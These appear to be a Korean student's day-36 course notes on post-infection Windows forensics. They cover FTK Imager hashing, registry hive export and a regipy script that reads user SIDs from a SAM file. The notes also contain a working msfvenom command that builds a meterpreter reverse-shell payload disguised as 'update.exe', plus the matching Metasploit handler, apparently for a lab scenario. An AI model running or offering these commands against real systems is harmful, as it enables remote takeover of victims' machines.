36일차

36일차

홈으로 돌아가기

악성코드 침투후에 포렌식 분석 시작
무료 포렌식 프로그램 = autopsy
OSForensics
바탕화면 설치여부 확인
무결성 > 해시값으로 무결성 입증
케이스 3개까지만 가능
기존 > 삭제 >
시나리오
관리자 실수로 악성코드가 침투된 경우는?
0) stManager 해시값은?
2 e = 둘 에코
5 0 O = 다섯 0사선넣기 오

1) 컴퓨터 부팅 시간이 언제냐?


2) 진짜 사용자는 누구냐?
3) 무슨 사이트에 접속했냐?
4) 무슨 파일을 받았냐?
5) 파일을 실행했냐?
리눅스 > 로그 분석
윈도우 > 이벤트,레지스트리,약간의 로그
windows > system32 > config
5개의 레지스트리 파일
SAM
SECURITY
SOFTWARE
SYSTEM
DEFAULT
우클릭해서 export로 밖으로 가져오기

FTK_Imager 설치
add evidence item해서 이미지 넣어주고
이미지에서 우클릭하고 verify drive/image > 해시값 추출
MD5
d824210af4a8f2639fbd12390726904a
SHA1
11be50387e8eb6994fce035aee22bdfb5f48a217

msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.211 LPORT=7777 -b "\x00" -f exe -o /home/kali/update.exe

msfconsole -r malware.rc

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.211
set lport 7777
exploit

dkskzhsek tjfcl
conda create -n py38 python=3.8

conda env list
conda activate py38

SAM파일 추출하기
import regipy

def explore_user_info(hive, path):
    try:
        # 해당 경로가 존재하는지 확인
        key = hive.get_key(path)
        print(f"Found key at: {path}")
        
        # 서브키가 있을 경우, 서브키 탐색 (사용자 계정 정보는 이곳에 있을 가능성이 있음)
        subkeys = key.iter_subkeys()
        if subkeys:
            for subkey in subkeys:
                print(f"User SID: {subkey.name}")  # SID를 사용자 계정 식별자로 표시
                user_subkey_path = f"{path}\\{subkey.name}"
                
                # 각 SID에 해당하는 사용자 정보 출력
                explore_user_info(hive, user_subkey_path)
        else:
            print("No subkeys found for user info.")

        # 값을 확인하여 사용자 정보 출력 (값이 존재하면 사용자 관련 정보일 가능성 있음)
        values = key.iter_values()
        if values:
            for value in values:
                print(f"Value Name: {value.name}")
                
                if hasattr(value, 'value'):
                    print(f"Value Data: {value.value}")  # 값 데이터 출력
                else:
                    print("No value attribute found for this value.")
                
                if hasattr(value, 'value_type'):
                    print(f"Value Type: {value.value_type}")
                else:
                    print("No value_type attribute found for this value.")
        else:
            print("No values found for user info.")

    except Exception as e:
        print(f"Error exploring {path}: {e}")

def main():
    sam_path = r'C:\Users\PC11\Desktop\export\SAM'

    print("start program")

    # SAM 파일을 Hive 객체로 로드
    hive = regipy.RegistryHive(sam_path)

    print("Exploring user information in SAM file...")

    # 'SAM\Domains\Account\Users' 경로에서 사용자 정보 탐색
    explore_user_info(hive, r'HKEY_LOCAL_MACHINE\SAM\Domains\Account\Users')

if __name__ == "__main__":
    main()